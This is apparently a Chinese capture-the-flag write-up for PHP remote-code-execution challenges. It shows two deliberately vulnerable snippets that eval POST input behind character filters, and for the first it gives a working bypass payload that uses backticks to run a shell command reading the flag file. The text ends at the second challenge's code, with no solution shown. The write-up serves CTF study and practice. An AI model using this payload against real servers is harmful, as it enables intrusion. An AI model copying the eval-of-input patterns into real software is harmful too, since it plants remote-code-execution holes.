_F61d_的web空间用户8342
RCE极限大挑战wp
输入“/”快速插入内容
RCE极限大挑战wp
RCE极限大挑战wp
RCE1
•
挑战难度：★
•
本周擂主：g4
•
挑战奖励：截至11月20日晚8点，做出来的人平分奖金(做出来的人越多，奖金越低，反之，越高)
•
关卡奖金：100人民币
题目代码
代码块
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>
简单的过滤了.和(),直接使用不带点和括号的RCE方式就可以了，比如日志文件包含，临时文件包含，或者更直观一点的：
payload
POST发送
代码块
code=echo `$_POST[1]`;&1=cat /f*
RCE2
•
挑战难度：★★
•
本周擂主：g4
•
挑战奖励：截至11月20日晚8点，做出来的人平分奖金(做出来的人越多，奖金越低，反之，越高)
•
关卡奖金：100人民币
题目代码
代码块
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势，太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>